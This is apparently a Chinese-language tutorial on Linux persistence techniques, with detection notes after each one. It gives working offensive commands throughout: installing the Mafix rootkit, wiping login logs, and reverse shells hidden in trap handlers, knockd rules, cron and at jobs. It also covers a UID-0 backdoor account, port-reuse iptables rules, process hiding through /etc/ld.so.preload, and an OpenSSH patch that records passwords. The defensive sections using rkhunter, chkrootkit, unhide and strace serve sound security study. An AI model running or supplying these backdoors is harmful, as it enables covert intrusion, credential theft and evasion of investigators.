linux持久化及安全检测

结合ATT&CK和网上一些资料做了些持久化总结,供学习和交流,如有不足处,欢迎斧正。勿用于非法途径,否则后果自负。

1. Rootkit

rootkit分为内核级和应用级两种。
内核级的rootkit很多,比如:Diamorphine
应用级的rootkit也很多,比如:Mafix

Mafix

条件:root权限shell
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。应用级rookit,主要替换ls、ps、netstat命令来隐藏文件(利用/proc?)

安装

wget http://forum.eviloctal.com/attachment.php?aid=13419
tar zvxf mafix.tar.gz
cd mafix
chmod +x root
./root password port

1.1
安装完成,自动删除安装程序
1.2
netstat -an|grep 20000
检验安装情况

windows putty登录后门
1.3
登陆成功日志
1.4

痕迹清理

清理命令记录:
(1)仅清理当前用户: history -c
(2)使系统不再保存命令记录:vi /etc/profile,找到HISTSIZE这个值,修改为0
(3)删除记录
删除登录失败记录:echo>/var/log/btmp
删除登录成功记录:echo>/var/log/wtmp (此时执行last命令就会发现没有记录)删除日志记录:echo > /var/log/secure

安全检测

Rkhunter

Rkhunter的中文名叫“Rootkit猎手”, 目前可以发现大多数已知的rootkits和一些嗅探器以及后门程序. 它通过执行一系列的测试脚本来确认服务器是否已经感染rootkits. 比如检查rootkits使用的基本文件, 可执行二进制文件的错误文件权限, 检测内核模块等等。
rkhunter -c
1.5
ssh的远程root登陆开启了,默认是不允许直接root登陆的

Chkrootkit

当然如果只是用Rkhunter检查扫描还是不够权威,再来安装一款检查下吧,chkrootkit 是一款小巧易用的Unix平台上的可以检测多种rootkit入侵的工具。它的功能包括检测文件修改、utmp/wtmp/last日志修改、界面欺骗(promiscuous interfaces)、恶意核心模块(maliciouskernel modules)。
直接运行可以对系统进行检测: /usr/local/chkrootkit/chkrootkit(./chkrootkit -n)
1.6
也可以./chkrootkit | grep INFECTED
1.7
出现INFECTED就说明系统可能有问题了

2. Trap

trap 命令使程序和 shell 可以指定接收中断信号时执行的命令。 一种常见的情况是脚本允许正常终止和处理常见的键盘中断,如 ctrl+c 和 ctrl+d。当 shell 遇到特定的中断时,攻击者可以使用它来注册要执行的代码,以获得执行或作为持久性机制。 Trap 命令的格式如下:trap“命令列表”signals,当接收时到“signals”,将执行“命令列表”。

trap命令

trap命令是专用于捕捉信号的。比如像Ctrl+C组合键会产生SIGINT信号,Ctrl+Z会产生SIGTSTP信号发送给终端等。在捕捉到信号之后,可以进行一系列的操作。
用法:trap ‘command’ signals
比如:trap “echo ‘You pressed the ctrl+c ‘“ INT
当按下ctrl+c,输出”You pressed the ctrl+c”
trap -l查看其他信号

trap后门

编写shell脚本:
test.sh

#!/bin/bash  
# test trap command  
trap "bash -i >& /dev/tcp/127.0.0.1/2333 0>&1" SIGINT  //payload

echo This is a test script  

count=1  
while [ $count -le 10 ]  
do  
  echo "hu $count"  
  sleep 1  
  count=$[ $count + 1 ]  
done  

echo The end.  

运行test脚本,当我们执行中断信号(ctrl+c)的时候,触发trap。
2.1
成功反弹shell。
2.2
安全检测
必须为 shell 或程序注册 trap 命令,因此它们出现在文件中。 监视文件是否存在可疑或过于宽泛的 trap 命令可以减少调查期间的可疑行为。 监视通过 trap 中断执行的可疑进程。
参考
https://www.cnblogs.com/FengGeBlog/p/10407221.html

3. 端口敲击

什么是knock

端口敲击是一种较为成熟的技术,目的是隐藏开放的端口以控制访问,攻击者和防御者均可使用。 为了启用端口,攻击者需发送一系列具有特定特征的数据包。 通常,这些数据包包含关闭端口预定义的尝试序列,这可能涉及不常见的标志、特定的字符串或其他特征。 完成序列,通常由基于主机的防火墙开启端口,但也可以由自定义软件打开。 在动态开启监听端口和在不同系统上启动与监听服务器的连接时,都可以见到该技术。 可以通过不同的方法观察引发通信的数据包。 一种方法(最初由 Cd00r 实现)是使用 libpcap 库嗅探有问题的包。 另一种方法利用了原始套接字,这使得恶意软件可以使用供其他程序使用的开放端口。
Knocked工具安装
环境:centos7
下载knocked http://www.zeroflux.org/projects/knock

  1. wget http://404-1252074372.cosgz.myqcloud.com/knockd/knock-0.7-1.el7.src.rpm
  2. 安装rpmbuild:yum install -y rpm-build
  3. 安装 libpcap-devel:yum install -y libpcap-devel
  4. 安装gcc:yum install -y gcc
  5. 编译knockd:rpmbuild –rebuild knock-0.7-1.el7.src.rpm
  6. 安装knockd:rpm -ivh /root/rpmbuild/RPMS/x86_64/knock-*
    此时knocked安装成功。
    最后
  7. 根据自己的需要进行配置:/etc/knockd.conf
  8. 启动knocked服务: /etc/init.d/knockd start
    作为安全管理工具,knocked可以隐藏自己的端口,当管理员正确敲击端口”密码序列”,knocked打开预先设定好的端口,让管理员访问。
    比如管理员想要用手中的设备进行ssh连接,knocked配置如下:
    [options]  
      LogFile = /var/log/knockd.log  //日志地址       
    

[opencloseSSH]
sequence = 1000,1001,1002
seq_timeout = 15
tcpflags = syn
start_command = iptables -I INPUT -s %IP% -p tcp –dport ssh -j ACCEPT
cmd_timeout = 10
stop_command = /sbin/iptables -D INPUT -s %IP% -p tcp –dport ssh -j ACCEPT


当依次敲击1000,1001,1002三个端口后,服务器添加一条iptables规则iptables -I INPUT -s %IP% -p tcp --dport ssh -j ACCEPT,允许敲击正确的ip通过ssh端口访问服务器。

端口敲击序列  
![3.1](/img/持久化3.1.png)   
查看日志(/var/log/knockd.log),判断是否敲击成功  
如果第一个暗号被接受了,会记录下来:  
xxx.xxx.xxx.xxx : opencloseSSH: Stage 1  
后依次接收第二第三个暗号,成功执行opencloseSSH  
![3.2](/img/持久化3.2.png)   
knocked日志  
遇到的坑:  
每次更改配置记得restart服务如果接收不到,可能是部分端口被禁止了,或者没开icmp(如果是vps上搭建,多半是这个原因,去改安全策略)
### Knock后门
利用knocked可以构建我们的后门
在knocked加入一个功能:

[Bounce shell]
sequence = 1000,1001,1002
seq_timeout = 30
tcpflags = syn
tart_command = bash -i >& /dev/tcp/127.0.0.1/2333 0>&1

```

在我们的攻击机上开启监听:nc -lvp 2333
依次敲击1000 1001 1002,反弹shell
3.3

安全检测

记录查看发送到系统和从系统发出的网络数据包,查找不属于已建立的无关数据包。
参考
https://cloud.tencent.com/developer/article/1005328
http://vulhub.org.cn/attack/techniques/T1205.md

4. 新建账户

具有足够访问级别的攻击者可以创建本地系统或域帐户。 这些帐户可用持久化,不需要在系统上部署持久远程访问工具。

useradd命令和两个文件

useradd
条件:超级用户权限
格式:useradd [-d home] [-s shell] [-c comment] [-m [-k template]] [-f inactive] [-e expire ] [-p passwd] [-r] name
参数:
-c:加上备注文字,备注文字保存在passwd的备注栏中。
  -d:指定用户登入时的主目录,替换系统默认值/home/<用户名>
  -D:变更预设值。
  -e:指定账号的失效日期,日期格式为MM/DD/YY,例如06/30/12。缺省表示永久有效。
  -f:指定在密码过期后多少天即关闭该账号。如果为0账号立即被停用;如果为-1则账号一直可用。默认值为-1.
  -g:指定用户所属的群组。值可以使组名也可以是GID。用户组必须已经存在的,期默认值为100,即users。
  -G:指定用户所属的附加群组。
  -m:自动建立用户的登入目录。
  -M:不要自动建立用户的登入目录。
  -n:取消建立以用户名称为名的群组。
  -r:建立系统账号。
-s:指定用户登入后所使用的shell。默认值为/bin/bash。
例如:
建立一个新用户账户testuser1,并设置UID为544,主目录为/usr/testuser1,属于users组:
#useradd -u 544 -d /usr/testuser1 -g users -m testuser1

/etc/passwd和/etc/shadow
/etc/passwd:用户信息
文件各字段 用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL

/etc/shadow:用户密码信息
文件各字段 用户名:密码的MD5加密值:数字表示自系统使用以来口令被修改的天数:数字表示口令的最小修改间隔:数字表示口令更改的周期:数字表示口令失效的天数:数字表示口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用
新建账户
环境:
Centos 7(靶机)
Ubuntu 16(攻击机)
Useradd -o -u 0 backdoor # 添加账户“backdoor” UID为0(root权限)
echo “123456” | passwd –stdin backdoor # 设置密码

通过ssh远程登录backdoor账户

安全检测

收集建立账户的数据,定期检查自己的账户。

参考
https://www.cnblogs.com/EdwinChan/p/8350879.html

5. 隐藏文件和目录

隐藏文件和目录

Linux下创建文件和目录,在命名前加一个“.“代表隐藏。
touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir …/ 创建名字为 … 的文件夹
ls命令无法查看,ls -a可查看隐藏文件及目录

隐藏历史操作命令

1.关闭当前记录
关闭 set +o history
开启 set -o history
Ps:命令前加空格,命令本身也不会被记录。
2.清除历史记录
查看历史记录:#history
历史记录保存的位置:#cat /root/.bash_history

端口隐藏

通过端口复用来隐藏端口

1.SSLH

安装SSLH
sudo apt-get install sslh
配置SSLH
编辑 SSLH 配置文件:
sudo vi /etc/default/sslh

找到下列行:Run=no 将其修改为:Run=yes
修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
DAEMON_OPTS=”–user sslh –listen 0.0.0.0:443 –ssh 127.0.0.1:22 –ssl 127.0.0.1:443 –pidfile /var/run/sslh/sslh.pid”
安全检测

ps -ef | grep sslh 查看端口

2.iptables

端口复用链
iptables -t nat -N LETMEIN
端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT –to-port 22
开启开关
iptables -A INPUT -p tcp -m string –string ‘threathuntercoming’ –algo bm -m recent –set –name letmein –rsource -j ACCEPT
关闭开关
iptables -A INPUT -p tcp -m string –string ‘threathunterleaving’ –algo bm -m recent –name letmein –remove -j ACCEPT
let’s do it
iptables -t nat -A PREROUTING -p tcp –dport 80 –syn -m recent –rcheck –seconds 3600 –name letmein –rsource -j LETMEIN

利用方式:
开启复用
echo threathuntercoming | socat - tcp:192.168.28.128:80
ssh使用80端口进行登录
ssh -p 80 root@192.168.28.128
关闭复用
echo threathunterleaving | socat - tcp:192.168.28.128:80
具体参考:
https://www.freebuf.com/articles/network/137683.html

隐藏进程

Libprocesshider
利用 LD_PRELOAD 来实现系统函数的劫持
下载程序编译
git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider/ && make
移动文件到/usr/local/lib/目录下
cp libprocesshider.so /usr/local/lib/
把它加载到全局动态连接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

运行evil_script.py测试
./evil_script.py 127.0.0.1 2333
Top命令无法找到evil_script.py

安全检测
unhide 是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。
安装
sudo yum install unhide
使用
unhide [options] test_list
5.1

6. 预加载型恶意动态链接库

动态链接库预加载机制是系统提供给用户运行自定义动态链接库的一种方式,在可执行程序运行之前就会预先加载用户定义的动态链接库的一种技术,这种技术可以重写系统的库函数,这种技术可以用来重写系统中有漏洞的库函数,达到修复漏洞的目的,但也可以被用来劫持。
6.1

LD_PRELOAD (用于预加载的环境变量)
LD_PRELOAD环境变量是会及时生效的
LD_PRELOAD=/lib/evil.so #LD_PRELOAD的值设置为要预加载的动态链接库
export LD_PRELOAD #导出环境变量使该环境变量生效
unset LD_PRELOAD #解除设置的LD_PRELOAD环境变量
常用工具:cub3 https://github.com/mempodippy/cub3
/etc/ld.so.preload (用于预加载的配置文件)
将恶意so文件写入/etc/ld.so.preload就行:
echo “/lib/evil.so” > /etc/ld.so.preload
常用工具:Vlany https://github.com/mempodippy/vlany

安全检测

通过strace命令去跟踪预加载的文件是否为/etc/ld.so.preload,以及文件中是否有异常的动态链接库,文件完整性校验。以及检查是否设置LD_PRELOAD环境变量(echo $LD_PRELOAD)等。

7. 本地作业调度

本地作业调度就是常说的计划任务

cron

通过修改/etc/crontab,/etc/cron.d/目录或 Cron 守护进程支持的其他位置可以安装系统级的 cron 作业。而每个用户的 Cron 作业是通过 crontab 使用具有特定格式的 crontab 文件安装的。­它在 macOS 和 Linux 系统上都有效。
这些方法允许在没有用户交互的情况下在后台以特定的周期间隔执行命令或脚本。攻击者可以利用作业调度在系统启动时执行程序或为了持久性而在预定的基础上执行程序, 作为横向移动的一部分执行,获取 root 权限,或者在特定帐户的上下文中运行进程。

靶机上设定计划任务:
(crontab -l;echo ‘*/1 * * * * exec 9<> /dev/tcp/127.0.0.1/2333;exec 0<&9;exec 1>&9 2>&1;/bin/bash –noprofile -i’)|crontab -

1分钟后攻击机上成功监听:

at

at 程序是另一种方式,基于 POSIX 的系统(包括 macOS 和 Linux)。用于将程序或脚本作业安排在之后的日期和/或时间执行的一次性任务(cron多次)。
[root@localhost ~]# date # 查看当前时间
[root@localhost ~]# at 00:27 # 创建at计划任务 + 时间
at> bash -i >& /dev/tcp/127.0.0.1/2333 0>&1 # 在08:26 bash命令反弹shell
at> <EOT> # Ctrl+D 结束

8:26攻击机上成功监听

安全检测

一般通过crontab -l(at -l等)命令即可检测到定时任务后门。不同的linux发行版可能查看开机启动项的文件不大相同,Debian系linux系统一般是通过查看/etc/init.d目录有无最近修改和异常的开机启动项。而Redhat系的linux系统一般是查看/etc/rc.d/init.d或者/etc/systemd/system等目录。

8. Openssh

通过在openssh源码中插入恶意代码并进行重新编译来替换原有sshd文件。插入的恶意代码可以是将登录成功的用户密码发送到远程服务器或者记录到某个log文件中。在openssh目录中找到includes.h文件。
安装后门
环境:centos6.9
下载openssh-5.9p1.tar.gz
wget http://ftp.jaist.ac.jp/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
下载后门文件
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
解压

tar zxvf openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.patch.tar.gz

复制patch后门文件到正常openssh里面

cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
patch < sshbd5.9p1.diff
8.1

修改后门密码和文件记录 vim includes.h

int secret_ok;
FILE f;
#define ILOG “/tmp/ilog” # 记录登录到本机的用户名和密码
#define OLOG “/tmp/olog” # 记录本机登录到远程的用户名和密码
#define SECRETPW “test” # 远程连接密码
#endif /
INCLUDES_H */

编译安装

yum install -y openssl openssl-devel pam-devel zlib zlib-devel
./configure –prefix=/usr/ –sysconfdir=/etc/ssh/ –with-pam –with-kerberos5
make clean
make && make install
service sshd start (centos7:systemctl restart sshd.service)

攻击机连接后门
8.2

安全检测

1、查看Openssh版本
ssh -V
2、查看ssh配置文件和/usr/sbin/sshd的时间
stat /usr/sbin/sshd
时间和版本都是可以修改的,所以不靠谱
3、查看日志
more /var/log/secure | grep “Accepted” | awk ‘{print $11}’ | uniq
4、通过strace监控sshd进程读写文件的操作
ps axu | grep sshd | grep -v grep #sshd父进程ID
strace -o sshd -ff -p 2908
grep open sshd* | grep -v -e No -e null -e denied| grep WR
5、一般的openssh后门都会将账户密码记录到文件或者发送到邮箱中
strings /usr/sbin/sshd |grep ‘[1-9]{1,3}.[1-9]{1,3}.’
strings /usr/sbin/sshd |grep ‘@’